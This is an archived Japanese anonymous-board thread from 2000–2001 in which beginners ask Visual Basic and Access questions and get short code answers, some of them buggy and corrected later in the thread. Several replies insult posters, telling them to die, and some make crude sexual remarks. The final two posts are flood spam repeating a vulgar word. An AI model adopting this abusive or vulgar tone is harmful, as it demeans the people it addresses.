Accessか・・・素VBよりさらに画面制御しにくいからなー。
(ちゅうか全フォームMDIの子ウィンドウだけど・・・)

私はフォーム名の履歴を配列に記憶していくスタック方式を
取ったけど。呼び出した側はacHiddenで隠しておくって小細工
しときました。(復帰時にスタックレベル下げて再表示。当然
閉じるボタン押せなくしないと管理がおかしくなるので表示し
ないようにする。)

Accessの場合1回でもエラーが出ると全変数リセット掛かるので
OUTなんですけど。(Accessは簡単な管理のみで業務には使わん方が
いいと思う。)

>>319
マクロ使わなければどちらも大して変わらん気がするけど・・・
ちゅうかAccessでも簡単なクラスは使えるようになったんで
使える局面が無いか検討してみた方がいいと思う。

グローバル変数が増えすぎるのを抑える効果があるよ。
321名無しさん@お腹いっぱい。:2000/12/11(月) 16:48
>>314
登録ハガキ送っていればフツー出来ません?
322315:2000/12/12(火) 09:24
>320
なるほどグローバル変数に記憶しておくしかなさそうですね
その方法で試してみます
323絵描き:2000/12/12(火) 22:54
PhotoshopをOLEオートメーション使って操作しようと思い、
マニュアルを見たところ、「詳しくはAdobeサポートへ(英語)」
とか「OLEはMSで聞け」としか書いてません。
で、泣きながら検索してみたものの、OLE関連はEXCELやACCESSの
サンプルばかりで参考になりませんでした。

どこかいいサイトないでしょうか?
自動化できないと42の画像ファイルから32x150個の矩形を
オフセット付でコピペする作業を手でやる羽目に…(泣)
324名無しさん:2000/12/13(水) 13:38
最近VBをはじめました。で、いちよう基本的なことは本を見たんですが
FTPにログインなどの方法は書いてませんでした。で、質問です。
サーバーに接続する、ログインする、ログアウトするなどがわかりません
いちよう、フリーソフトのソースは見たんですがいまいち分かりませんでした
教えてくださいお願いします。
325名無しさんi486:2000/12/13(水) 14:07
>>324
なにをしたいのかよくわからんが、まずはDLLコールを覚えて
WIN32APIを覚えて、FTPのプロトコルをRFCから探してみるとか?
私なら、面倒なのでOCXを買うけど。
326324:2000/12/13(水) 15:45
WINAPIを勉強するなら勉強サイトを見つけるか本を買うか
どちらがいいですか?
327名無しさん@お腹いっぱい。:2000/12/13(水) 15:48
とりあえずここを全部読め。
http://www.microsoft.com/japan/developer/library/default.asp
328名無しさん@お腹いっぱい。:2000/12/13(水) 16:39
>>324
「いちよう」ってなんだよ、「いちおう」だろ。
329324:2000/12/13(水) 16:41
>328
すんません。言葉くずれました
330名無しさん@お腹いっぱい。:2000/12/13(水) 17:03
コンポーネントのウィンドウズメディアプレーヤのコントローラを使ってるのですが。
プレイボタンを押したときって言うのはどうやって取得するのですか?
また、ムービーファイルを再生中、今どのフレームを再生しているというのは取得できるのでしょうか。
331名無しさんi486:2000/12/13(水) 17:19
>>330
使っていいのか?
332夢見る名無しさん:2000/12/13(水) 18:10
いちよう初心者です。dat(1000000)があって、datに読みこんだファイルを書き出すとき、dat(0〜1000000)までのデータをひとつづつある処理(加法減法等)をしながら一バイトづつ書き出したいのですが、遅くて使い物になりません。
こういう時の定石はどういう方法ですか?
333332:2000/12/13(水) 18:18
ちなみに
dim dat(1000000) as byte
と宣言しています
334名無しさんi486:2000/12/13(水) 18:18
>>332
VBをやめる。これ本当。
335名無しさん@お腹いっぱい。:2000/12/13(水) 18:21
>>332
CPUを変える
Pentium!!!1GHzにする
ストライピング組む
これ本当。
336332:2000/12/13(水) 19:08
役にたたねえ奴ばっかりだぜ畜生!こんなとこに質問する時間があったらオナニーしてれば良かったぜ
337名無しさん@お腹いっぱい。:2000/12/13(水) 19:53
>>336
本当なのに・・・
そこだけDLLにしたら、鬼ほど速くなるのに。グスン
338332:2000/12/13(水) 20:05
ぼくDLL作れないの教えて
339332:2000/12/13(水) 20:36
DLLってなんて読むの?
でる?
340名無しさん@お腹いっぱい。:2000/12/13(水) 20:57
>>332
なんとか1000個とかいっぺんに処理できないの?
一個づつしてると遅いよ。特にファイル操作がね。
341名無しさん@お腹いっぱい。:2000/12/13(水) 21:43
1バイトずつ書き出す必要ないでしょ。
バッファにある程度まで溜めて後で一気に
書き出しても良いんじゃない?
342名無しさん@お腹いっぱい。:2000/12/13(水) 21:44
いや1Mくらい今のパソコンなら大丈夫、
1バイトづつ読まずに全部読んで全部計算終わってから全部書け
343332:2000/12/13(水) 21:44
1000ですか。
For i=0 to 1000000 step 1000
on error goto 20
put #f,,dat(i)
on error goto 20
put #f,,dat(i+1)
on error goto 20
put #f,,dat(i+2)



on error goto 20
put #f,,dat(i+999)
next i
というかんじで1000まで出力しましたが、1MBを出力するのに35秒かかりました。DoEventsを省いた場合です。
10000ぐらいやってみようかな?と思ってやったらプロシージャが長いと怒られてしまいました。
344332:2000/12/13(水) 21:50
ハッ
>341
>342
今気づいた
ショック
なんで計算終わったのに一バイトづつやってたんだろう
鬱d氏n
345332:2000/12/13(水) 21:57
はやっ
一瞬だ
顔射します
346絵描き:2000/12/13(水) 23:22
人力でやり遂げました。しくしく。
347名無しさん@お腹いっぱい。:2000/12/14(木) 13:31
クラスモジュールに書いたProperty Get,Property Set,へ配列を通す事はできるんでしょうか?


348アクセス:2000/12/14(木) 17:46
VBでアクセスをDBとして使うときの質問です。
名簿を作っているのですが,
カレントコードの移動、更新(変更)は出来るようになったのですが,
登録が出来ません。
AddNewメソッドを使ってやろうとしてもエラーが出ます。
私の使っている本だと、追加したいレコードの各フィールドに
値を代入するところで,プログラムに直接値が書いてあるのですが,
意味がわかりません。教えてください。
349名無しさん@お腹いっぱい。:2000/12/14(木) 18:01
AddNewしたあとで、レコードセットの各フィールドに値を設定、
その後、Updateすれ。

SQLでInsertしても可。
350アクセス:2000/12/14(木) 19:16
349さん
レスありがとうございます。

”レコードセットの各フィールドに値を設定”
と言うのは,VBのFORM上の連結コントロールでいいのですか?
本だとコードに記述してあったのですが,

両方やってみたんですが,
エラーが出てきてしまうのですが・・・。
351アクセス:2000/12/14(木) 20:23
たびたびすみません。
解決できました。
コントロール名を記述するべきところに
値自体を記述していました。
あー恥ずかしい・・・。
349さんありがとうございました。m(_ _)m
352わかりません:2000/12/19(火) 01:00
Combo*で指定した、ファイルタイプのみをFile*に表示させるのはどの様にしたらいいのでしょうか?
HELPを見ても全然わかんないんです・・・
何方かVBAに詳しい方教えて頂けないでしょうか?
勉強不足ですいません!
353教えて!!:2000/12/19(火) 12:30
どなたか教えてください。
リストボックスに外部ファイルのテーブルのフィールドAの値すべてを表示して、@
クリックイベントでその中にある1つを選んだら、A
その選んだ値のあるカレントコードに移動して、
そのレコードのフィールドの値(リストに入ってるの以外)を
連結しているコントロールに表示したいのですが・・・。
@までは、表示できるようになり、form_Load
の時点で、他の連結コントロールには、
最初のレコードの値が表示されるようになったのですが、
クリックした時点でエラーになってしまいます。
どのようにすれば良いですか?
ちなみにDBは、Accesseを使っています。
354名無しさん@お腹いっぱい。:2000/12/19(火) 12:56
>>353
どうすれば、と言われてもね・・・
「VB買いました、どうすればいいですか?」
あなた答えられますか?
355HEY:2000/12/19(火) 19:17
日付の足し算ってどうやるんですか?
2000/02/28 に10を足し(10日後)たいんですけど・・・
356HEY:2000/12/19(火) 19:33
あ、わかりました!
ど〜も〜
357D使い:2000/12/19(火) 19:43
>>353
説明が良くわからんのですがこんな感じかな?
Private Sub Combo1_Change()
 If Combo1.ListIndex <> -1 Then Exit Sub
 Data1.Recordset.FindFirst "比較列 = '" & Combo1.List(Combo1.ListIndex) & "'"
End Sub
358名無しさん@お腹いっぱい。:2000/12/20(水) 02:24
>>355

検索サイトで、
ユリウス日とか準ユリウス日とか調べてみ。
359>358:2000/12/20(水) 09:32
VBはお手軽だから単に数字を足すだけでOK
360VBしかできない人:2000/12/20(水) 16:22
>>355さん
Dateadd関数でバッチリだよ。詳細はMSDNで調べてね。
361361:2000/12/21(木) 09:46
すみません。FEP機能についてなのですが、
VBのプログラム中から、ATOK→IMEというような変更ってできますでしょうか?
よろしくお願いいたします。
362D使いβ:2000/12/21(木) 12:57
ユーザ環境にどういうIMEが入っているかを決め打ちするのは
まずくないか?
IME関連のAPIの解説は↓の本に詳しく書いてあるが・・・
http://www.shoeisha.com/book/Detail.asp?bid=892
363361:2000/12/21(木) 18:53
>362
ありがとうございます。
早速その本、購入してみます。

>ユーザ環境にどういうIMEが入っているかを決め打ちするのは
>まずくないか?
まったくそうなんです・・・というか、馬鹿馬鹿しいんですが、
ユーザーさんがどうしてもと言うんですよねえ。
364名無しさん@お腹いっぱい。:2000/12/21(木) 23:33
Dim a
a=Null
If a = Null Then
 ・・・
とか書いてもa=NullがTrueとならないのはなぜでしょう?
ちなみに
If VarType(a)=vbNull Then・・・と書くとうまくいくのですが。
365353:2000/12/22(金) 04:53
>D使い さん
どーもです。
366名無しさん@お腹いっぱい。:2000/12/22(金) 07:59
VB簡単すぎるね
河口輝久さんと河野勉さんが書いてる本見たらバカでも出きるね
367名無しさん@お腹いっぱい。:2000/12/22(金) 10:24
そこがVBの偉大なとこなんやろな‥
368D使いβ:2000/12/22(金) 12:23
>>364
値Nullの判定はisNull関数では ?
ちなみに無効な参照の判定は
If Obj is Nothing Then
参照を減らしてオブジェクトの解放を促すのは
Set Obj = Nothing
ですね。
Delphiみたいな明示的な型キャストが無いのが残念。
369名無しさん@お腹いっぱい。:2000/12/22(金) 13:53
こんにちは。
dim aaa(x,y) as string
と宣言した後、入れたデータを保持したまま、
xの数を変更することってできますか?
ReDim Preserve だと、yしか変更できないって
書いてありますもので・・・
370D使いβ:2000/12/22(金) 14:22
>>369
Collectionクラスを使えばいいんじゃないかなあ?
dim x as new Collection
dim y as Collection
dim I as Integer
For I = 1 to 10
 set y = New Collection
 y.Add "値"
 x.Add y
Next I
これでリストにリストをぶら下げるような
x(n).y(m)みたいな参照が出来そうだけど。
371370:2000/12/22(金) 14:49
ぐお〜、VB一ヶ月の私には難しすぎまする・・・
VBってこんなことできるんですね・・・はじめて知りました・・・
D使いβさん、ありがとうございました。
372あ、まちがえた:2000/12/22(金) 14:52
名前間違えてました。371の名前は370→369です。
すいませ〜ん・・・
373名無しさん@お腹いっぱい。:2000/12/22(金) 15:21
>>371
このあたり、メモリなんかぜーんぜん気にしなくていいところも
VBの偉大なところですね。
374D使いβ:2000/12/22(金) 17:56
俺は気にするが・・・

用が無くなったら必ず
Set X = Nothing
で参照カウンタをデクリメントしている。

市販ActiveXコントロールでメモリ馬鹿食いのがあったりするんで
極力基本コントロールで済ます。ビットマップなんか殆ど
貼り付けたりしない。VBのプロジェクトでいくら外観にこった
ところでしょうがないからなるべくシンプルにする。
375D使いβ:2000/12/22(金) 19:18
ちなみにVBのCollection型ってDelphiのTListみたいに
全要素を一発で消去できる Clearメソッドみたいなの
無いものか・・・データが多いとループで回してRemove呼ぶと
時間掛かるんだよね・・・VB7じゃここらへんも直して欲しい
ところ。
376D使いβ:2000/12/22(金) 20:37
>>347
遅レスだけど・・・

Set, Letメソッドなら配列を受け取る事は可能。
GetはVariant配列のみ可能。
配列の上限、下限はUBound,LBoundで取得。

Cの可変個引数やDelphiのオープン配列に相当するものは
キーワードParamArray。
377リアル厨房:2000/12/23(土) 00:29
プロシージャ内の処理と処理の間にマウスボタンクリックで解除できる
ウエイトを入れたいのですがうまくいきません。

privaate sub command1_click()
txta.text = y
'ここにマウスクリックで解除できるウエイト処理を入れたいのです
txta.text = x
end sub

ウエイトが無いと、yの表示後すぐにxが表示され、yが目視出来ません。
msgboxを挿入すればそれっぽい処理になりますが、別WindowsにOKとかじゃ
どうにも不恰好に見えます。何か良い方法はあるでしょうか。
378D使いβ:2000/12/24(日) 01:02
わかりません。何故クリックイベントの中でさらにクリックが
必要なのでしょう?
yの値を表示させたいならDoEventsなりRePaintを呼び出し、
タイマーなり空ループなりすればいいと思いますが。

#しかし何故VB使いの方々は煽りばかりで初心者の
質問に答えてあげないのでしょう?
379佐藤:2000/12/25(月) 15:44
Active Xコントロールを作って遊んでるんですが,
編集時にActive X コントロールを
実行状態にする方法についてお尋ねします。

EditAtDesignプロパティをTrueにして、
編集時に[右クリックー>編集]とすることで
一応実行状態にはなるのですが、
操作がわずらわしいのです。

できれば、編集時、該当コントロールを
クリックしただけでそのコントロールを
実行状態にする方法はないものでしょうか?

380377:2000/12/25(月) 16:15
ありがとうございます。例がクリックにクリックで変ですね。
意図が解かり難い質問でスミマセンでした。
なかなかうまくいきませんが、もう少し頑張ってみます。
381名無しでGO!:2000/12/26(火) 20:49
質問です。
tabを追加するとき、既存のtabの間に追加できないのか。
tabを追加するといつも最後のならびに追加されてしまう
のですが。
382デフォルトの名無しさん:2000/12/26(火) 22:29
>379(佐藤)
VB初心者友の会でも聞いてるだろこのタワケモンがあ。
どっちかにせえボケ。
しかもどっちもレス無し
383名無しさん@お腹いっぱい。:2000/12/26(火) 22:49
佐藤逝って良し
384鈴木:2000/12/26(火) 23:45
佐藤逝って良し
ついでに田中も逝って良し!
385佐藤:2000/12/27(水) 10:21
>382
わはは
ばれちっち。
レス無しを予想しての多方面投稿でした。

つまり、できないってこと なのかな?
386名簿の登録について質問@:2000/12/27(水) 13:13

Dim Al As String
Al = "電話番号 = '" & txtTel.Text & "'"
rs.Find Al, 1, adSearchBackward
rs.MoveFirst
rs.Find Al, , adSearchForward

'この間にテキストが空だったときにエラーを返してExit Subで抜けている。

If rs.EOF = True Then
rs.AddNew
rs!顧客コード = txtKodo.Text
rs!顧客氏名 = txtName.Text
rs!ふりがな = txtFurigana.Text
rs!郵便番号 = txtZip.Text
rs!都道府県 = txtKen.Text
rs!住所 = txtAd.Text
rs!電話番号 = txtTel.Text
rs!備考 = txtBikou.Text
rs.Update
End If

If rs.EOF = False Then
MsgBox ("その人は既に登録されています。")
End If

txtKodo.Text = ""
txtName.Text = ""
txtFurigana.Text = ""
txtZip.Text = ""
txtKen.Text = ""
txtAd.Text = ""
txtTel.Text = ""
txtBikou.Text = ""
txtKodo.SetFocus
387名簿の登録について質問A:2000/12/27(水) 13:20
↑どこが間違っているのかわかりません。
rs.EOFがFalseの時に、elseまで抜けているのに
rs!のところにテキストの内容が入ってしまって、
登録されていない電話番号でも、EOFがFalseの時のエラーメッセージが
出てきてしまいます。
しかも、ADDNEWされず、名簿のどこかに上書きされてしまい
レコード数は同じまま、そのとき入力したものが名簿に登録?(上書き)
されてしまいます。
わかる方どうか教えてください。
388デフォルトの名無しさん:2000/12/27(水) 14:08
>>385
厨房は氏ね。
389いや、調べてはみたんですが・・・:2000/12/28(木) 13:20
ラベルのAPPEARANCEを3Dにすると、
見た目窪みますよね?
これを逆に凸型にもりあげることってできませんでしょうか?
390デフォルトの名無しさん:2000/12/28(木) 20:30
>389

用意するもの
ラベル2個

ラベルの片方をもう片方より同系色で暗くする
暗いほうのボーダーラインを実線にする
その上に明るいほうを貼りつける
盛り上がってるようにみえる
ような気がする
391389:2000/12/29(金) 10:43
>390
ぐはぁ!そうきますか・・・
やると、そう見えなくもないですが・・・
お世話になりました・・・
392デフォルトの名無しさん:2000/12/29(金) 11:54
> ボーダーラインを実線にする
ってのがよくわからないんですが‥? なんで?
393デフォルトの名無しさん:2000/12/29(金) 15:45
ラーニングエディションのアカデミックパックっていくらですか?
394名無しさんi486:2000/12/29(金) 18:41
1万
395393:2000/12/29(金) 19:12
>>394さん
どーもです。
1万くらいなら余裕あるから買えるな・・・
396デフォルトの名無しさん:2000/12/30(土) 05:56
タイプライブラリってなんですか?
Cで作るんですか?
397デフォルトの名無しさん:2000/12/30(土) 11:33
タイプライブラリってtypedefが沢山かかれてるライブラリのこと?
398>396:2000/12/30(土) 11:39
心配しなくてもVBが勝手に作ってくれるから大丈夫。
何も考えずにActiveX作ればOK
399デフォルトの名無しさん:2000/12/30(土) 14:03
VBで作ったActiveX DLLをWebに貼り付けたいのですが、classidをどうやって調べてます?

<OBJECT classid="clsid:xxxx-xxx ...
のxxxx-xxx ... なんですがこのタグでprogidでの指定ができないので
classidで指定するほかないみたいなんですが。

とりあえず、regeditでprogidをキーに探すか、OLE Viewerでtypelibをダンプして
調べてますが、もう少しスマートな方法がないもんかと。

いっそうのことVBにclassidを勝手に作らせないで
タイプライブラリを作ってそこでclassidを自分で指定させたほうがいいかな?
とも思う今日この頃。
400デフォルトの名無しさん:2000/12/30(土) 19:42
>399
VisualInterDevを使うってのはダメ?
結構便利よ。
401デフォルトの名無しさん:2000/12/30(土) 20:08
VBでって言っているのに...
402がんばれ、VB1週間目:2000/12/31(日) 15:57
Form1に書いた
Dim a as long
a = time
の変数aの値を
他のForm2から見るためにはどうしたら良いでしょうか?
403名無しさん@お腹いっぱい。:2000/12/31(日) 16:03
DimではなくPublicを使う。
関数の中ではなく外、ソースの一番上なんかに
Public a as long
とすればForm1.a として見えるよ。
404がんばれ、VB1週間目:2000/12/31(日) 16:31
はぁ、なるほど。
405名無しさん@お腹いっぱい。:2001/01/02(火) 20:35
この掲示板の質問は尋ねる側のレベルにばらつきがあって、答えにくい。
出来んヒトにとってはもっといいページたくさんあるだろ。
こんな匿名掲示板でまともなレスは全然期待できねーぞ。
本気で勉強するなら書籍読むか、特定の初心者向けHPを閲覧すべきだろうね。
406>405:2001/01/02(火) 22:18
結局自力でなんとか出来ない奴は質問してもやはり
なんともならないと・・・言うわけだね?
407デフォルトの名無しさん:2001/01/03(水) 04:09
>>399
ディストリビューションウィザードでsetup作れば?
htmlファイルが自動生成されるけど、その中にclassid書いてあるよ。

めんどくさいけどregeditでさがすよりマシでしょ?
408質問ing娘。:2001/01/03(水) 05:06
>>399
ダミープロジェクトにカスタムDLL参照設定させて
そのプロジェクトファイル見りゃEEじゃん×2

つーかActiveXDLL作ってんならテスト用クライアント
プログラムあるんじゃないの?
409デフォルトの名無しさん:2001/01/04(木) 17:19
なぜPrintメソッドやLineメソッドでWith文では使えないのでしょうか?
Form1.Print "文字"
とは出来ても、

With Form1
 .Print "文字"
End With
とは出来ません。
410RPG作りたいです。:2001/01/04(木) 19:29
VBの基本的なことは本を見て勉強したのでゲームに挑戦してみようかと思いました。
最終的にRPGを作りたいのですが、検索してもいいサイトが出てきません。
いい勉強サイトありませんでしょうか?
41121月:2001/01/04(木) 19:56
locationで新しく開いたウィンドウに元のwindowのデータを送るにはどうすればよいです?
開いた方のrequest.formでは取得出来ないんです?
412sage:2001/01/04(木) 21:29
DLLを動的に使う際、
モジュールの有無は LoadLibrary 、
関数の有無は GetProcAddress で確認できますが、
では引数の数、及び第n引数の型を調べるには
どうすればいいのでしょうか?
413デフォルトの名無しさん:2001/01/04(木) 21:32
↑412 入力欄間違い。ageてすみません。
414デフォルトの名無しさん:2001/01/04(木) 22:54
>410
無駄。
JavaをやったあとC#をやれ・・・。
415デフォルトの名無しさん:2001/01/05(金) 00:14
Windows2000を入れたいんですが、2000にVB5.0入れても問題ないでしょうか?
何かしら不都合があるのだったら新しく買いますが。
416デフォルトの名無しさん:2001/01/05(金) 04:33
text.txtがない場合、text.txtを製作したいらしい。
Open App.Path & "\text.txt" For Append As #1
Write #1, ""
Close #1
これってどうなんでしょ?下手糞でしょうか?
417デフォルトの名無しさん:2001/01/05(金) 06:52
>>1-416
全員逝って良し!
418デフォルトの名無しさん:2001/01/05(金) 09:45
>>417
君もいっしょに逝こう!!
419ヒマつぶし:2001/01/05(金) 15:34
>>409
ttp://support.microsoft.com/support/kb/articles/Q182/0/69.ASP?LN=JA&SD=SO&FR=0

>>411
DynamicHTMLか?
よくわかんないけど、オブジェクトのonchangeイベント発生時に
値を変数に持っといて、ウィンドウ開くときにLocationに?で連結
すればいいような気がする。気がするだけ。。。

>>412
DLLにそういう関数を実装してもらえ(w

>>415
IEのバージョンが。。。
でも、やりたきゃやれ。

>>416
別にいいけどFreeFileすれ
420409:2001/01/05(金) 16:03
>>419
結局出来ない(BUG)と言う事か・・・Thanks!
#BASICの予約語多すぎ。

>>DLLにそういう関数を実装してもらえ(w
やっぱ普通のDLLじゃなくてCOMにすべき。
実装、配布ともに面倒だけど。

421じゃんけんについて質問:2001/01/06(土) 00:20
はじめ10回分じゃんけんして毎回の手を記録してそれを最後に表示するようなプログラムを
作りたいのだけど途中でプログラムが止まってしまってこれ以上できないんですよ。これは
どこが悪いの?
Option Explicit
Private Sub Form_Load()
Dim counter As Integer, lose As Integer, drow As Integer, win As Integer
Dim com As Integer, player As Integer
'勝敗数を0に初期化する
Dim hand(2) As String
hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"
Randomize Timer
'時計を使って乱数を出しやすくする
'はじめに1回だけ
win = 0: lose = 0: drow = 0
For counter = 1 To 10
com = Int(Rnd * 3)
player = InputBox("ジャンケンポン")
Do While player <> 0 And player <> 1 And player <> 2
If player <> 0 Then
ElseIf player <> 1 Then
ElseIf player <> 2 Then
Else
End If
Loop
MsgBox ("あなたは" & hand(player) & "コンピュータは" & hand(com))
If com = player Then
MsgBox ("あいこです")
drow = drow + 1
ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
MsgBox ("あなたの勝ちです")
win = win + 1
Else
MsgBox ("コンピュータの勝ちです")
lose = lose + 1
End If
Next counter
MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(drow))
End

End Sub
422ヒマつぶし@自宅:2001/01/06(土) 00:48
マジレスしていいものか

どんなエラーメッセージが出る?
たぶんそのメッセージ通りだ。

player As Integer ←これだろ?
423VB厨房:2001/01/06(土) 04:00
Do While player <> 0 And player <> 1 And player <> 2
If player <> 0 Then
ElseIf player <> 1 Then
ElseIf player <> 2 Then
Else
End If
Loop
このWhile文で、0、1、2以外の数字を入れると抜け出れなくなっている。
おそらくこれは、0から2までの数字を入れるように、促す目的だと思う。
でも、このWhile文がなくても、Cと違って、playerには0が入っている。
ので、一見すんなり動作する。

dim OK as integer

OK = 0
Do
If player <> 0 And player <> 1 And player <> 2 Then
MsgBox "0,1,2の値を入力してください。"
player = InputBox("ジャンケンポン")
Else
OK = 1
End If
Loop Until OK = 1

としてみた、

424名無しさん:2001/01/06(土) 11:47
VBを卒業してC++を勉強するのはちょっとムリがありますか?
間に何かを勉強した方がいいんでしょうか?
425デフォルトの名無しさん:2001/01/06(土) 12:02
いいからそのまま行け!
426デフォルトの名無しさん:2001/01/06(土) 12:29
>>423
InputBoxに数字以外が入力されたらどうなるんだよ、バーカ
427名無しさんTurboC(清涼飲料):2001/01/06(土) 13:16
>>424
不可能ではありませんが、VBに比べて手取り足取り教えてくれる
リソース(書籍なりWebサイト等)が少なくなり、何事も自主解決
を求められます。

「自分で頑張ってみよう」という努力があればなんとか乗り
越えられますが、「誰かやってくれないかな〜」と他力本願
していると即時に破綻します。

仕事先のVBプログラマは例外なく上のとおりに破綻しました。
428VB厨房:2001/01/06(土) 13:56
>>426
うっせーよ、

dim player$
If Asc(player) < 47 Or 50 < Asc(player) Then
429デフォルトの名無しさん:2001/01/06(土) 14:01
わははは、ほんっと厨房まるだし
430デフォルトの名無しさん:2001/01/06(土) 14:32
わははは、ほんっとチンポまるだし
431てぃむぽ綺麗:2001/01/06(土) 15:18
上と同じような問題出してください
432デフォルトの名無しさん:2001/01/06(土) 20:46
>>428
おまえ本当にバカだな
本当に中学生なのか??

player = "1aaa"だったったら
>If Asc(player) < 47 Or 50 < Asc(player) Then
これはどうなるんだ?
433デフォルトの名無しさん:2001/01/06(土) 23:48
>If Asc(player) < 47 Or 50 < Asc(player) Then
やっちゃったね・・・
434デフォルトの名無しさん:2001/01/07(日) 18:18
VBはクソ。はやく質問しろ。
435デフォルトの名無しさん:2001/01/07(日) 18:27
シェアウェアの試用期間やユーザ登録を管理するクラスをActiveX.DLLにまとめようと思ったのですが、このDLLにシリアルなどを入力させる為のフォームモジュールをぶち込む事は出来ないでしょうか?
つまり、クラスモジュールなどに書いたコードから標準コントロールも含めたGUIフォームを生成させたいのですが。
436デフォルトの名無しさん:2001/01/07(日) 18:36
>>435
んなことできるわけね〜だろ!!
437デフォルトの名無しさん:2001/01/07(日) 21:52
ここは動物の檻か!!
438VB厨房:2001/01/07(日) 22:23
はぁすみませんね、

If Asc(Right(player,1)) < 47 Or 50 < Asc(Right(player,1)) Then

これで、文句ないだろ?
もしくは、取得時に、振り分けろよ、質問してきた奴が
揚げ足してたら、笑えるけど。
(あれはGUIになれていない、プログラムだし)
しかし、さすが2ch、揚げ足だけは一流だな。
439VB厨房:2001/01/07(日) 22:25
訂正、Right→left関数です。
440デフォルトの名無しさん:2001/01/07(日) 22:37
>これで、文句ないだろ?
この後に訂正してるのが笑える。
441デフォルトの名無しさん:2001/01/07(日) 23:10
>これで、文句ないだろ?
文句大アリ

InputBoxでなにも入力せずにenter押下されたら?

>しかし、さすが2ch、揚げ足だけは一流だな。
揚げ足取りっていうか、質問者のソースよりお前のソースの方が
バグ多いよ。
442デフォルトの名無しさん:2001/01/07(日) 23:25
クラスモジュールの中でWinAPIを使おうとするとエラーが出てしまいます。何故ですか?
443デフォルトの名無しさん:2001/01/07(日) 23:46
>>439
"123"という入力があったら"1"と判定すんのか?
そんなのアリ??

>>442
使えないワケはない。
っていうかWinAPIをラップしたクラスモジュールって、あちこちに落ちてるじゃん。

宣言はあってるか?
引数をまちがえてないか?

そのへんをチェックしたら。
444デフォルトの名無しさん:2001/01/08(月) 14:50
VB厨房さん早く完成させてください。
全国の幼稚園児が待っています!!
>さすが2ch、揚げ足だけは一流だな。
凄い人も多いけどね、君のような「これで、文句ないだろ?」とか豪語した後で
焦って訂正する厨房も多いのだよ。君だけではない安心しなさい。
446D使いβ:2001/01/09(火) 00:56
書いてみた。でもInputBox関数なんか使わずボタン3個使えば
すむ話じゃない?VBにはコントロール配列があるはず。それの
Indexプロパティの値使えば?

Private Sub CommandButton1_Click()
 Dim counter As Integer, lose As Integer, drow As Integer, win As Integer
 Dim com As Integer, player As Integer
 Dim InputWork As String

 '勝敗数を0に初期化する
 Dim hand(2) As String
 hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"

 Randomize Timer

 '時計を使って乱数を出しやすくする
 'はじめに1回だけ
 win = 0: lose = 0: drow = 0

 For counter = 1 To 10
  com = Int(Rnd * 3)
  Do
   InputWork = InputBox("ジャンケンポン")
   If IsNumeric(InputWork) Then
    player = CInt(InputWork)
   End If
  Loop While (player < 0) Or (2 < player)
  MsgBox ("あなたは" & hand(player) & " コンピュータは" & hand(com))
  If com = player Then
   MsgBox ("あいこです")
   drow = drow + 1
  ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
   MsgBox ("あなたの勝ちです")
   win = win + 1
  Else
   MsgBox ("コンピュータの勝ちです")
   lose = lose + 1
  End If
 Next counter
 MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(drow))
End Sub

>> 442
恐らくDeclareの前にPrivateが付いていないせいです。というより、
エラーメッセージを良く読みましょう。
447デフォルトの名無しさん:2001/01/09(火) 01:04
>>446
playerは毎回初期化しましょう(^^;

>VBにはコントロール配列があるはず。
ごもっとも
448デフォルトの名無しさん:2001/01/09(火) 12:48
今度はある程度戦略をもったジャンケンにしてくれ。
野球拳ゲームに発展させてくれ。
449デフォルトの名無しさん:2001/01/09(火) 23:27
VBをやっといたほうがVC++の理解ははやいですかね?
ちなみにCは一通りできます。
450デフォルトの名無しさん:2001/01/09(火) 23:55
強く書きすぎたせいか、書き込みがないな。
勝手にまとめると、

質問者のソースではでは
・数値以外の入力があったらアベンド
・Integerの範囲外の数値が入力されたらアベンド
・小数点以下の入力ま丸められる
・丸めた後の値が1,2,3以外だったら永久ループ


VB厨房の>>423のソースだと、永久ループは対応したが
それだけ


その後>>428でInputBoxの戻り値を文字列型変数にして
数値以外の入力に対応したが
・2文字目以降の入力は無視
・InputBox関数から空白が返されたらアベンド
を追加

>>438>>439の修正は無意味


>>446のソースではおおむね問題ないが
・Integerの範囲外の数値が入力されたらアベンド
・小数点以下の入力ま丸められる
・初回または前回有効な数値が入力されていた状態で、
 数値以外(空白含む)が入力された場合、前回の値が
 有効になってしまうとまあ偉そうに書いてみたが、これを書くために過去ログを
見直してみたら>>422で永久ループの事を書き忘れてた事に気がついた。

鬱田死脳
451デフォルトの名無しさん:2001/01/10(水) 01:25
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
452デフォルトの名無しさん:2001/01/10(水) 01:28
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
